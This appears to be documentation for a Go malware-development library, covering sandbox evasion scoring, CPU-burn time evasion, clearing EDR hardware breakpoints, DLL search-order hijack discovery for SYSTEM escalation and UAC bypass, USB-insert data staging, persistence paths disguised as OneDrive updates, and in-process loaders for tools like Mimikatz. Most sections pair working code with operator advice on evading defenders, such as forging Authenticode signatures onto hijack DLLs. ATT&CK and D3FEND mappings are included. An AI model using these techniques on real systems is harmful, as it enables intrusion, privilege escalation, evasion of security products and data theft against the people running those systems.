cfg.BadUsernames = append(cfg.BadUsernames,
    "test", "demo", "vagrant",
)
c := sandbox.New(cfg)

Advanced — full audit + report

results := c.CheckAll(ctx)
for _, r := range results {
    if r.Detected {
        fmt.Printf("%-15s %s\n", r.Name, r.Detail)
    }
}

Replace the binary IsSandboxed verdict with a 0..100 score so operators can tune the bail threshold per engagement.

import "github.com/oioio-space/maldev/recon/sandbox"

c := sandbox.New(sandbox.DefaultConfig())
results := c.CheckAll(ctx)
score := sandbox.Score(results)
if score >= 60 {
    log.Printf("bail: sandbox score=%d", score)
    return
}

Audit / tune the weights:

for name, w := range sandbox.Weights() {
    log.Printf("weight[%s] = %d", name, w)
}

OPSEC & Detection

ArtefactWhere defenders look
Many checks then early exitSandboxes self-flag — they exhausted their analysis budget
Fake-domain DNS resolutionSandboxes often sinkhole; the DNS query itself is logged
Analysis-tool process enumerationSandboxes know they run wireshark; the enumeration succeeds
BusyWait followed by exitTime-based sandbox decoys

D3FEND counters:

  • D3-EI — sandbox design itself.

Hardening for the operator:

  • Calibrate thresholds against the actual target stack — too strict means false positives on real low-spec targets.
  • Layer with timing BusyWait; sandboxes time out before a 30-second wait completes.
  • Run the full IsSandboxed once at startup, then cache — re-running on every callback is wasted effort.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1497Virtualization/Sandbox Evasionfull — multi-factor orchestratorD3-EI

Limitations

  • No bypass for VMI. Bare-metal volatility analysis defeats every check.
  • False positives on low-spec real users. Tightening hardware thresholds catches sandboxes but may catch real embedded / minimal-VM targets. The Score helper + operator-chosen threshold gives finer control than the binary IsSandboxed: a single hardware check failing on a real low-spec target only contributes 3-5 points; the operator's bail threshold (typically 50-70) absorbs that noise.
  • Score weights are static. The current detectionWeights are tuned for "default-defender baseline" target shapes. Targets with unusual hardware (cheap VPS, dense Docker hosts) may need re-weighting via Weights() audit + a custom aggregator.
  • DNS check requires outbound resolution. Air-gapped sandboxes that NXDOMAIN everything still defeat the fake-domain probe.
  • No rootkit awareness. Hooks installed by sandbox kernel drivers are out of scope; pair with evasion/unhook + recon/hwbp for kernel-hook detection.

See also

Time-based sandbox evasion

← recon index · docs/index

TL;DR

Burn CPU for a real wall-clock duration to defeat sandboxes that fast-forward Sleep(). Two flavours: tight time-comparison loop (BusyWait) or primality-testing loop (BusyWaitPrimality) for a math-like CPU pattern.

Primer

Sandboxes commonly hook Sleep / WaitForSingleObject to skip waits and observe what the implant does next. A 30-second Sleep() becomes a no-op; a 30-second BusyWait does not. The distinction is subtle but reliable — sandboxes have analysis budgets, and a 30-second CPU burn forces them to either fast-forward (impossible — there's no kernel hook for "spin faster") or use up their budget.

Two implementations, both cross-platform:

  • BusyWait — repeatedly compares time.Now() to the deadline. Pinning one core at 100% in a tight comparison is cheap to fingerprint behaviourally.
  • BusyWaitPrimality — burns CPU via primality testing. Same wall-clock effect, more "math workload"-like CPU pattern.

How It Works

sequenceDiagram
    participant Imp as "Implant"
    participant Hook as "Sandbox<br>(Sleep hook)"
    participant CPU

    Note over Imp: Naive Sleep — sandbox fast-forwards
    Imp->>Hook: Sleep(30 * time.Second)
    Hook-->>Imp: instant return

    Note over Imp: BusyWait — sandbox can't fast-forward CPU loops
    Imp->>CPU: for time.Now() < deadline { … }
    CPU-->>Imp: 30 s real wall-clock burned
    Note over Imp: Sandbox analysis budget exhausted

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/recon/timing is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — 30-second burn at startup

import (
    "time"

    "github.com/oioio-space/maldev/recon/timing"
)

timing.BusyWait(30 * time.Second)
// Sandbox analysis budget likely exhausted; continue.

Composed — primality variant

timing.BusyWaitPrimalityN(50_000_000)
// ~30 s on modern hardware; CPU pattern looks like prime sieving.

Pipeline — sandbox bail + timing

import (
    "context"
    "os"

    "github.com/oioio-space/maldev/recon/sandbox"
    "github.com/oioio-space/maldev/recon/timing"
)

if hit, _, _ := sandbox.New(sandbox.DefaultConfig()).IsSandboxed(context.Background()); hit {
    os.Exit(0)
}
timing.BusyWait(30 * time.Second) // catch sandboxes that bypassed dimension checks

OPSEC & Detection

ArtefactWhere defenders look
100% CPU on one core for sustained periodsBehavioural EDR rarely flags; some hypervisor-aware sandboxes do
Process at 100% CPU then transitions to network I/OPattern-matching EDR may correlate
time.Now() syscall stormsPer-call telemetry — invisible at user-mode

D3FEND counters:

  • D3-EI — sandbox design itself.

Hardening for the operator:

  • Use BusyWaitPrimality over BusyWait for less-fingerprintable CPU pattern.
  • Stagger BusyWait calls between meaningful operations rather than one giant block at startup — looks more like a long-running workload, less like a sandbox-detection sentinel.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1497.003Virtualization/Sandbox Evasion: Time Based Evasionfull — CPU-burn defeats Sleep hooksD3-EI

Limitations

  • CPU spike. 100% CPU on a target with idle expectations is itself a tell; calibrate duration against target's expected workload.
  • Doesn't help against real targets. A 30-second startup delay is user-visible on real targets — only acceptable for background services / persistence binaries.
  • No defeat for live VM emulation. Sandboxes running on bare-metal at full speed can still capture full behaviour; CPU-burn just prevents the trivial Sleep-hook bypass.

See also

Hardware breakpoint detection & clear

← recon index · docs/index

TL;DR

EDRs (notably CrowdStrike Falcon) place hardware breakpoints on NT function prologues using DR0-DR3 — invisible to the classic ntdll-on-disk-unhook pass. Detect reads DR0-DR3 across every thread and returns those pointing into ntdll; ClearAll zeros them via SetThreadContext.

Primer

Hardware debug registers DR0-DR3 hold up to four breakpoint addresses; DR6 is the status register, DR7 controls enable/condition/length. The kernel maintains DR state per-thread; user-mode reads/writes via GetThreadContext / SetThreadContext.

EDRs use HWBPs to monitor Nt* calls without modifying ntdll's .text. A breakpoint set at NtOpenProcess+0 triggers a #DB exception on entry that the EDR's vectored exception handler intercepts. Because .text is unchanged, classic "unhook ntdll from disk" defeats inline hooks but does not defeat HWBPs.

recon/hwbp reads DR0-DR3 across every thread in the current process, identifies breakpoints pointing into ntdll, and clears them.

How It Works

flowchart TD
    START["Walk threads in process"] --> SUSP["SuspendThread"]
    SUSP --> CTX["GetThreadContext<br>CONTEXT_DEBUG_REGISTERS"]
    CTX --> DR{"DR0-DR3 set?"}
    DR -- yes --> RESOLVE["resolve address to module"]
    RESOLVE --> NTDLL{"in ntdll?"}
    NTDLL -- yes --> COLLECT["Breakpoint TID Register Address"]
    NTDLL -- no --> SKIP["skip"]
    DR -- no --> NEXT["next thread"]
    COLLECT --> NEXT
    NEXT --> RESUME["ResumeThread"]
    RESUME --> NEXT2["continue walk"]

ClearAll walks the same threads, zeros DR0-DR3 + DR7 via SetThreadContext, and resumes.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/recon/hwbp is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — detect + report

import "github.com/oioio-space/maldev/recon/hwbp"

bps, _ := hwbp.Detect()
for _, bp := range bps {
    fmt.Printf("DR%d → %x in %s (TID %d)\n",
        bp.Register, bp.Address, bp.Module, bp.TID)
}

Composed — clear if any found

if bps, _ := hwbp.Detect(); len(bps) > 0 {
    if cleared, err := hwbp.ClearAll(); err == nil {
        fmt.Printf("cleared %d HWBP(s)\n", cleared)
    }
}

Advanced — chain with ntdll unhook

Full integrity restore: clear HWBPs + unhook inline hooks.

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/unhook"
    "github.com/oioio-space/maldev/recon/hwbp"
)

techs := []evasion.Technique{
    hwbp.Technique(),                  // clear DR0-DR3
    unhook.Classic("NtOpenProcess"),   // unhook inline
    unhook.Classic("NtAllocateVirtualMemory"),
    // ...
}
_ = evasion.ApplyAll(techs, nil)

OPSEC & Detection

ArtefactWhere defenders look
SetThreadContext(CONTEXT_DEBUG_REGISTERS)EDRs that hook this API see the clear; rare but not unknown
Sustained SuspendThread / ResumeThread cyclesBehavioural anomaly on idle processes
ETW Microsoft-Windows-Threat-Intelligence DR-register-write eventsWin11 22H2+ ETW-Ti provider; few SOCs subscribe
HWBPs cleared while EDR expects them setEDR self-checks may detect (rare in production)

D3FEND counters:

  • D3-PSA — debug-register manipulation telemetry.
  • D3-SCA — kernel-side syscall observation unaffected by HWBP clear.

Hardening for the operator:

  • Pair with evasion/unhook in a single evasion.ApplyAll chain to clear HWBPs + inline hooks together.
  • Use win/syscall direct/indirect syscalls even after clearing — defeats both inline + HWBP regardless of clear success.
  • Re-check periodically — long-running implants may see EDR re-set HWBPs on thread creation.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1622Debugger Evasionfull — DR0-DR3 inspection + clearD3-PSA
T1027.005Indicator Removal from Toolspartial — neutralises EDR HWBPsD3-PSA

Limitations

  • Per-process, per-thread. New threads created after ClearAll may receive fresh HWBPs from the EDR.
  • Kernel-set HWBPs untouchable. Some EDRs use kernel callbacks to set HWBPs on every thread creation; clearing user-mode just defers the problem to the next new thread.
  • Detection requires module attribution. Detect only reports breakpoints in ntdll; HWBPs in other modules (kernelbase, user32) are missed unless using DetectAll.
  • Wow64 inheritance. 32-bit threads under WoW64 use a separate DR context; this package targets the native context.
  • Thread suspension visible. SuspendThread is itself monitored by some EDRs.

See also

DLL search-order hijack discovery

← recon index · docs/index

TL;DR

You want to find places where you (current user) can drop a malicious DLL such that a privileged target picks it up next time it loads. Five scanner surfaces, each catching a different victim class:

SurfaceCatchesReward when hit
ScanServicesSYSTEM-running services with writable binary dir + missing imported DLLSYSTEM exec on next service start
ScanProcessesLive processes with the same writable-search-path-+-missing-DLL patternCode exec at the process's privilege level on next launch
ScanScheduledTasksTasks registered via COM ITaskServiceExec on next task trigger (often runs as SYSTEM or stored creds)
ScanAutoElevateSystem32 .exe with autoElevate=true manifest (fodhelper, sdclt, eventvwr, …)UAC bypass — these silently elevate without prompt
ScanPATHWritableWritable directories in system or user %PATH%SYSTEM exec whenever a higher-integrity process makes an unqualified CreateProcess call — cf. itm4n's MareBackup chain (compattelrunner.exe → acmigration.dll → CreateProcessW(L"powershell.exe", …))

Or run all five in one call:

You want…UseNotes
Find every opportunity across all 4 surfacesScanAllReturns combined []Opportunity
Score what you found by integrity gainRankSorts SYSTEM > High-IL > Medium > current. Use to pick the best target first.
Prove a candidate actually worksValidateDrops a canary DLL + triggers victim load + checks if the canary fired. Destructive — only run on opps you intend to use.

What this DOES achieve:

  • Programmatic discovery — no more eyeballing Process Monitor for NAME NOT FOUND events.
  • Cross-surface coverage — services + processes + tasks + autoElevate UAC bypass candidates in one pass.
  • Stealth scan — pass ScanOpts.Opener (stealthopen.Opener) so PE reads bypass path-keyed EDR file hooks.

What this does NOT achieve:

  • Doesn't write the DLL — that's the operator's job. Pair with pe/dllproxy.Generate to emit the forwarder/payload DLL and os.WriteFile to drop it.
  • Doesn't trigger the victimValidate does for testing, but in real ops you wait for a natural load (service restart, scheduled task fire) or trigger via your own action.
  • KnownDLLs are excluded — DLLs in HKLM\…\Session Manager\KnownDLLs are early-load-mapped from \KnownDlls\ and bypass search order entirely. Not hijackable; this package skips them.
  • ApiSet contracts are excluded — names matching api-ms-win-*.dll or ext-ms-win-*.dll are resolved by the loader via the in-PEB ApiSet schema and never read from disk. Some Win10/11 builds ship physical stubs in System32\downlevel\ which would otherwise trip the file-existence heuristic; the filter prevents false positives.
  • Doesn't catch service-trigger-launched binaries — hosted services that load DLLs only when a specific event fires. The IAT walk catches static imports; LoadLibrary at runtime won't show up.

Primer — vocabulary

Six terms recur on this page:

DLL search order — Windows's resolution algorithm when a program calls LoadLibrary("xyz.dll") without a full path: application directory first, then System32, then SysWOW64, then Windows, then current dir, then PATH. If the application directory is writable by you and xyz.dll doesn't exist there, you can drop one and it'll be loaded first.

IAT (Import Address Table) — the list of (DLL, Function) pairs a PE statically depends on. dllhijack walks it for every scanned binary; missing imports (DLL the IAT names but isn't on disk in any search-order location) are the prime hijack candidates.

autoElevate=true — manifest attribute on Windows binaries Microsoft has whitelisted to elevate without UAC prompt. fodhelper.exe, sdclt.exe, eventvwr.exe, etc. A DLL hijack against one of these = silent UAC bypass.

Opportunity — record returned by every scanner. Carries the writable hijack path (where you drop your DLL), the resolved legitimate DLL location (the donor for export forwarding), the victim binary + integrity level, and metadata for ranking.

Integrity level — Windows's process trust hierarchy: Low (sandboxed apps), Medium (default user), High (elevated user), System (services, kernel-adjacent). Rank sorts opportunities by the gain you'd get hijacking them — System target from a Medium implant beats Medium-from-Medium.

KnownDLLs — registry list at HKLM\System\CurrentControlSet\Control\Session Manager\KnownDLLs. Windows pre-maps these from \KnownDlls\ object directory at boot; subsequent LoadLibrary for them never touches disk and bypasses search order entirely. Not hijackable.

How It Works

flowchart LR
    subgraph scan [Scanners]
        SVC["ScanServices<br>SCM enum + IAT walk"]
        PROC["ScanProcesses<br>Toolhelp32 + loaded modules"]
        TASK["ScanScheduledTasks<br>COM ITaskService"]
        AE["ScanAutoElevate<br>System32 manifest filter"]
    end
    SVC --> ALL["ScanAll returns Opportunity slice"]
    PROC --> ALL
    TASK --> ALL
    AE --> ALL
    ALL --> RANK["Rank<br>integrity-gain score"]
    RANK --> VAL["Validate<br>drop canary + trigger"]
    VAL --> CONF["ValidationResult<br>confirmed hijack"]

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/recon/dllhijack is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — list ranked opportunities

import "github.com/oioio-space/maldev/recon/dllhijack"

opps, _ := dllhijack.ScanAll()
for _, o := range dllhijack.Rank(opps)[:5] {
    fmt.Printf("%s %s → %s\n", o.Kind, o.DisplayName, o.HijackedPath)
}

Composed — UAC-bypass scan only

ae, _ := dllhijack.ScanAutoElevate()
for _, o := range ae {
    fmt.Printf("UAC bypass: drop %s in %s\n", o.ResolvedDLL, o.HijackedPath)
}

PickBestWritable

One-shot variant of ScanAll + Rank + filter. Returns the highest-scoring writable Opportunity, preferring those that also carry IntegrityGain or AutoElevate; falls back to any writable; returns ErrNoWritableOpportunity when nothing is reachable.

import (
    "errors"
    "github.com/oioio-space/maldev/recon/dllhijack"
)

best, err := dllhijack.PickBestWritable()
switch {
case errors.Is(err, dllhijack.ErrNoWritableOpportunity):
    log.Fatal("no writable hijack target on this host")
case err != nil:
    log.Fatal(err) // scan itself failed (non-Windows, etc.)
}
fmt.Printf("%s %s → %s (integrity-gain=%v)\n",
    best.Kind, best.DisplayName, best.HijackedPath, best.IntegrityGain)

Live end-to-end example: examples/privesc-dll-hijack's -discover path runs PickBestWritable, plants the packed DLL at best.HijackedPath, triggers the victim, validates marker — full chain in 40 LOC. See examples/privesc-dll-hijack/README.md.

ScanPATHWritable — MareBackup-class precondition

Surfaces every writable directory in the system or user %PATH%. The classic MareBackup PrivEsc pivot (itm4n) relies on a SYSTEM-context scheduled task whose call chain ends in an unqualified CreateProcessW(L"powershell.exe", …) — the EXE search reaches %PATH% before System32. This scanner answers the prerequisite: "can my token write to any system-PATH dir?".

opps, _ := dllhijack.ScanPATHWritable()
for _, o := range opps {
    fmt.Printf("%s: %s (integrity-gain=%v)\n",
        o.Kind, o.SearchDir, o.IntegrityGain)
}

Unlike the IAT-based scanners this one ignores ScanOpts.Opener (no PE reads) and reports BinaryPath == "" — the victim is generic (any higher-integrity unqualified CreateProcess).

Advanced — validate before deploying

canary, _ := os.ReadFile("canary.dll") // emits %ProgramData%\maldev-canary-*.marker on load

res, err := dllhijack.Validate(opp, canary, dllhijack.ValidateOpts{
    Timeout: 30 * time.Second,
})
if err == nil && res.Triggered {
    // confirmed; safe to drop the real payload
}

The caller must invoke the victim binary out-of-band (e.g. restart the service that owns the hijack target) so the canary DLL is actually loaded and emits its marker.

OPSEC & Detection

ArtefactWhere defenders look
Write to service directory by non-installer processEDR file-write telemetry — high-fidelity
New DLL in %PROGRAMFILES%\… written by user-context processDefender ASR rule
DLL load from non-System32 path with System32 binary nameEDR module-load rule
AutoElevate exe spawning child from unusual pathDefender for Endpoint MsSense flags
Sysmon Event 7 (image loaded) for unsigned DLL in System32-adjacent pathUniversal high-fidelity

D3FEND counters:

  • D3-EAL — strict allowlisting catches unsigned DLLs.
  • D3-FCA — DLL signature verification.

Hardening for the operator:

  • Drop the hijack DLL with a Microsoft Authenticode signature via pe/cert.Copy.
  • Match VERSIONINFO to the legitimate DLL via pe/masquerade.
  • Validate before deploying — Validate runs the canary in isolation, no implant exposure.
  • Prefer ScanAutoElevate results: UAC bypass is the highest integrity-gain category.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1574.001Hijack Execution Flow: DLL Search Order HijackingfullD3-EAL, D3-FCA
T1548.002Abuse Elevation Control Mechanism: Bypass UACpartial — autoElevate hijacksD3-EAL

Limitations

  • Static IAT only by default. Runtime LoadLibrary calls not in the IAT are missed unless ScanProcesses happens to catch them via Toolhelp32.
  • Validate may detonate. Validate actually runs the canary in the target's context — operators must understand the side-effects of triggering the victim.
  • Admin scans. ScanServices enumerates SCM-registered services; some entries return ACCESS_DENIED without admin.
  • AutoElevate fragility. Microsoft has been silently hardening autoElevate binaries — the canonical fodhelper bypass is patched on Win11; verify per build.

See also

Drive enumeration & monitoring

← recon index · docs/index

TL;DR

You want to know what drives are mounted on the host (USB keys, SMB shares, fixed disks) and react when new ones appear. Two operations:

You want…UseReturns
List every mounted drive right nowLogicalDriveLetters + New[]string letters, then per-letter *Info (type + label + serial + GUID)
React when a new drive mounts (USB insert, share map)NewWatcher + WatchChannel of Event{Type: EventAdded/EventRemoved, Info: *Info}

Common operational uses:

  • Initial recon at startup — log every mounted drive's type + label so the operator picks staging targets.
  • USB-insert trigger — long-running implant watches for TypeRemovable add events, exfiltrates payload to air-gapped media.
  • SMB-share discoveryTypeRemote drives indicate the host is mapped to a network resource (lateral-movement hint).

What this DOES NOT do:

  • Doesn't read drive contents — list/watch only. Use os.ReadDir or evasion/stealthopen for the path-free file access.
  • Doesn't enumerate UNC paths or unmounted shares — only letters that have a DRIVE_* mapping. Use WNetEnumResource upstream (not in this package) to find shares before they're mapped.
  • Polling-based watchWatcher snapshots every Interval (default 200 ms) and diffs. No WM_DEVICECHANGE notification path; trade-off: works without a hidden window, costs a thread.

Primer — vocabulary

Five terms recur on this page:

Drive letter — single-letter root (A:-Z:) the Win32 API uses to address mounted volumes. Not stable across reboots (especially USB keys); use GUID for cross-reboot identity.

Drive type — Windows's classification: Fixed (HDD/SSD on-machine), Removable (USB / floppy), Remote (SMB share), CDROM, RAMDisk, NoRootDir (mount point with no media), Unknown. Returned by GetDriveTypeW.

Volume GUID\\?\Volume{...}\ form. Stable identifier across reboots, mount-point changes, and letter reassignments. Use this when you need to recognise the same USB key across sessions; the letter alone changes.

Device path — kernel-level name like \Device\HarddiskVolumeN. Used by drivers and minifilters, rarely directly by user-mode code. Surfaced for completeness — most callers want Letter or GUID.

Snapshot polling — the watcher's mechanism: every Interval it calls LogicalDriveLetters, builds a fresh snapshot, diffs against the previous, emits add/remove events. No system event subscription required.

How It Works

flowchart LR
    GLD[GetLogicalDrives<br>letter bitmask] --> LET[A: B: C: …]
    LET --> TYPE[GetDriveTypeW<br>per-letter classification]
    LET --> VOL[GetVolumeInformationW<br>label + serial + FS]
    TYPE --> INFO[Info<br>Letter / Type / Volume]
    VOL --> INFO
    INFO --> WATCH[Watcher<br>poll snapshot diff]
    WATCH --> EVT[Event<br>EventAdded / EventRemoved]

Watcher polling is configurable (default 200 ms). Snapshots are diffed; new entries emit EventAdded, removed entries emit EventRemoved. The FilterFunc lets callers narrow to e.g. TypeRemovable only.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/recon/drive is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — single-drive lookup

import "github.com/oioio-space/maldev/recon/drive"

d, _ := drive.New("C:")
fmt.Printf("%s %s\n", d.Letter, d.Type)

Composed — list all removables

letters, _ := drive.LogicalDriveLetters()
for _, l := range letters {
    if drive.TypeOf(l+`\`) == drive.TypeRemovable {
        info, _ := drive.New(l)
        fmt.Println(info.Letter, info.Volume.Label)
    }
}

Advanced — USB-insert trigger (polling)

ctx, cancel := context.WithCancel(context.Background())
defer cancel()

w := drive.NewWatcher(ctx, func(d *drive.Info) bool {
    return d.Type == drive.TypeRemovable
})
ch, _ := w.Watch(500 * time.Millisecond)
for ev := range ch {
    if ev.Kind == drive.EventAdded {
        // stage data on the inserted USB
        stageData(ev.Drive.Letter)
    }
}

Advanced — event-driven (WM_DEVICECHANGE)

Same use-case, zero-CPU at idle. Requires an interactive session — use the polling variant on services / SYSTEM contexts where WM_DEVICECHANGE doesn't broadcast.

ctx, cancel := context.WithCancel(context.Background())
defer cancel()

w := drive.NewWatcher(ctx, func(d *drive.Info) bool {
    return d.Type == drive.TypeRemovable
})
ch, err := w.WatchEvents(4) // buffer 4 — USB hub re-enum bursts
if err != nil {
    return err // RegisterClassExW / CreateWindowExW failure
}
for ev := range ch {
    if ev.Kind == drive.EventAdded {
        stageData(ev.Drive.Letter)
    }
}

OPSEC & Detection

ArtefactWhere defenders look
GetLogicalDrives pollingUniversal API — invisible at user-mode
Sustained 200 ms polling on idle processBehavioural EDR may flag CPU patterns; raise interval
Subsequent file writes to removable mediaEDR file-write telemetry — high-fidelity for sensitive paths

D3FEND counters:

  • D3-FCA — DLP scans on writes to removable media.

Hardening for the operator:

  • Raise watch interval (1-2 s) on idle hosts.
  • Don't write to removable media while polling — the correlation is the high-fidelity signal.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1120Peripheral Device DiscoveryfullD3-FCA
T1083File and Directory Discoverypartial — drive enumeration is a sibling primitiveD3-FCA

Limitations

  • Two watcher modes, pick per session shape. Watch(interval) polls and works headless / in services / under SYSTEM (any context with no message broadcast). WatchEvents(buffer) uses WM_DEVICECHANGE and needs an interactive session — service / SYSTEM contexts get no broadcast. Both modes share the same Snapshot + diff machinery, so swapping is one line.
  • WatchEvents requires an OS-thread-locked goroutine. The Win32 message pump cannot migrate threads, so the pump goroutine runtime.LockOSThreads for its entire lifetime. This adds one OS thread to the implant for the duration of the watcher.
  • WatchEvents registers a window class. The class (MaldevDriveWatcher) is a uint atom in the per-process user-atom table — invisible to EnumWindows but discoverable by a debugger walking atom tables.
  • Volume serial may be 0. Some virtual drives (RAM disks, some VPN drives) report serial 0.
  • Network drives cached. Mapped network drives that drop off may take several poll cycles to surface as EventRemoved under Watch. WatchEvents fires on WM_DEVICECHANGE, which DOES broadcast network-drive arrival / removal — better latency on this class.
  • Windows only. No Linux equivalent in this package; use inotify / udev directly.

See also

Windows special-folder paths

← recon index · docs/index

TL;DR

Resolve Windows special folder paths (Desktop, AppData, Startup, Program Files, …) via SHGetSpecialFolderPathW. Used by persistence/startup for StartUp-folder paths, by credentials/lsassdump for %SystemRoot%\System32\ntoskrnl.exe, and by any payload that needs a per-user / per-machine well-known path.

Primer

Windows uses CSIDL (Constant Special ID List) values to identify well-known folders abstractly. SHGetSpecialFolderPathW takes a CSIDL constant and returns the resolved filesystem path, handling per-user / per-machine differences and folder redirection in domain environments transparently.

The function is technically deprecated in favor of SHGetKnownFolderPath (Vista+, KNOWNFOLDERID enum), but the older API remains widely supported and avoids COM initialization overhead.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/recon/folder is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — modern KNOWNFOLDERID

import (
    "github.com/oioio-space/maldev/recon/folder"
    "golang.org/x/sys/windows"
)

appdata, _   := folder.GetKnown(windows.FOLDERID_RoamingAppData, 0)
downloads, _ := folder.GetKnown(windows.FOLDERID_Downloads, 0)
system, _    := folder.GetKnown(windows.FOLDERID_System, 0)

// Force creation (KFF_CREATE) when staging a per-user drop directory:
stage, _ := folder.GetKnown(windows.FOLDERID_LocalAppData, windows.KF_FLAG_CREATE)

Simple — legacy CSIDL

appdata := folder.Get(folder.CSIDL_APPDATA, false)
startup := folder.Get(folder.CSIDL_STARTUP, false)
system  := folder.Get(folder.CSIDL_SYSTEM, false)

Composed — feed persistence

import (
    "path/filepath"

    "github.com/oioio-space/maldev/recon/folder"
)

implant := filepath.Join(
    folder.Get(folder.CSIDL_LOCAL_APPDATA, false),
    "Microsoft", "OneDrive", "Update", "winupdate.exe",
)

Advanced — resolve ntoskrnl path for kernel-driver work

ntos := filepath.Join(
    folder.Get(folder.CSIDL_SYSTEM, false),
    "ntoskrnl.exe",
)
// feeds credentials/lsassdump.DiscoverProtectionOffset(ntos, opener)

OPSEC & Detection

ArtefactWhere defenders look
SHGetSpecialFolderPathW callsUniversal Win32 API — invisible
Subsequent file writes to resolved pathsEDR file-write telemetry; flag depends on the path

D3FEND counters: none specific — primitive itself is universally legitimate.

Hardening: none — the call is invisible. Hardening is at the consumer (the writes the path drives).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1083File and Directory Discoveryfull

Limitations

  • CSIDL is the legacy path. Microsoft recommends KNOWNFOLDERID for new code. The package now ships both: use GetKnown for new callers; Get stays for backwards compatibility. KNOWNFOLDERID also exposes folders the legacy CSIDL set cannot resolve (FOLDERID_Downloads, third-party Shell extensions).
  • GetKnown returns API-allocated PWSTR. The wrapper frees it via CoTaskMemFree on every call — never returns a borrowed buffer the caller must clean up.
  • MAX_PATH cap on Get only. The legacy path truncates paths longer than 260 chars (Get); GetKnown is uncapped.
  • Some virtual folders return empty. CSIDL_NETWORK, CSIDL_PRINTERS, and similar non-filesystem virtual folders return empty strings.
  • Folder redirection is opaque. Domain-joined hosts with redirected user folders return the redirected (network) path, not the local cached one — operators relying on local-only paths must validate.

See also

IP address & local-network detection

← recon index · docs/index

TL;DR

Cross-platform IP enumeration (InterfaceIPs) and local-address detection (IsLocal). Used to fingerprint sandboxes (looped-back /29 networks), source-aware C2 (avoid beaconing the same IP), and "is this hostname us?" checks.

Primer

InterfaceIPs walks net.Interfaces + each interface's Addrs — same surface every Go network tool uses. Returns a flat []net.IP covering loopback + physical + virtual + VPN adapters.

IsLocal decides whether a given input — IP literal, FQDN, or hostname — resolves to one of the host's own interfaces. DNS resolution runs if the input isn't already an IP literal. Used for "is this C2 endpoint actually our own host (sandbox hairpinning)?" probes.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/recon/network is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — list interface IPs

import "github.com/oioio-space/maldev/recon/network"

ips, _ := network.InterfaceIPs()
for _, ip := range ips {
    fmt.Println(ip.String())
}

Composed — avoid C2 self-target

ok, err := network.IsLocal("c2.example.com")
if err == nil && ok {
    // C2 host resolves to our own IP — sandbox hairpin trick;
    // bail out.
    return
}

Advanced — sandbox fingerprint

Sandboxes commonly run on /29 (8 host) or /30 networks with predictable gateway patterns. Combined with recon/sandbox this is one indicator among many.

ips, _ := network.InterfaceIPs()
for _, ip := range ips {
    if ip.IsLoopback() {
        continue
    }
    // narrow nets / private 10.0.0.x are common in sandboxes —
    // calibrate to the target environment
}

OPSEC & Detection

ArtefactWhere defenders look
net.Interfaces walksUniversal Go runtime call — invisible
DNS lookups for IsLocal inputsDNS telemetry sees the query; benign domain looks fine
Resolution failure on uncommon TLDsSandbox sinkholes resolve everything; real DNS NXDOMAINs

D3FEND counters: none specific.

Hardening for the operator: avoid resolving the implant's own C2 domain via IsLocal — the DNS query itself is a fingerprint.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1016System Network Configuration Discoveryfull

Limitations

  • No interface metadata beyond IP. MAC, MTU, link state are out of scope; use net.Interfaces directly.
  • DNS overhead. IsLocal on a hostname triggers DNS resolution; cache the result for hot paths.
  • No IPv6 hairpin awareness. IsLocal works on IPv6 literals but does not normalise scopes; link-local addresses may behave unexpectedly.

See also

In-process runtimes

← maldev README · docs/index

In-process loaders that execute foreign code (BOFs, .NET assemblies, full Windows PEs) without spawning child processes. The implant becomes its own post-exploitation runtime — useful when child-process creation is heavily monitored.

Where to start (novice path):

  1. bof — load a Cobalt-Strike-style BOF (small custom C-compiled gadget) in-process. Cheapest in-process post-ex runtime.
  2. pe — run a full Windows EXE or DLL in-process via the embedded No-Consolation BOF, capture its stdout. Drop-in replacement for CreateProcess when operator tools ship as .exe.
  3. clr — host the .NET CLR in-process to run Mimikatz / Seatbelt / SharpHound assemblies without spawning powershell.exe or dropping .exe to disk.

All three avoid child-process creation. Pair with evasion/preset so the runtime calls don't tip AMSI / ETW.

Packages

PackageTech pageDetectionOne-liner
runtime/bofbof-loader.mdquietBeacon Object File / COFF loader for in-memory x64 object-file execution
runtime/pepe-loader.mdmoderateFull Windows EXE / DLL execution in-process via embedded No-Consolation BOF
runtime/clrclr.mdmoderateIn-process .NET CLR hosting via ICLRMetaHost / ICorRuntimeHost

Quick decision tree

You want to…Use
…run a small custom C-compiled gadget without dropping an EXEruntime/bof
…run a Windows EXE (Mimikatz, Rubeus, sysinternals) in-processruntime/pe
…run a .NET assembly (Mimikatz, Seatbelt, SharpHound) in-processruntime/clr
…drop a managed assembly to disk and run itnot this area — see Donut via pe/srdi

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1059Command and Scripting Interpreterruntime/bof (in-process gadget runtime), runtime/pe (in-process EXE)D3-PSA
T1620Reflective Code Loadingruntime/clr, runtime/peD3-PMA, D3-PSA

See also

BOF (Beacon Object File) loader

← runtime index · docs/index

TL;DR

You have a .o file (compiled C object) — typically a public BOF from TrustedSec / Outflank / FortyNorth (whoami, situational awareness, file ops). You want to run it inside your implant without spawning a child process. This package loads + executes the COFF in memory.

You want to…UseNotes
Run a BOF from diskRunLoads .o, parses COFF, resolves Beacon API, executes
Run a BOF from memoryRunBytesWhen the BOF was decrypted in-process and never landed on disk
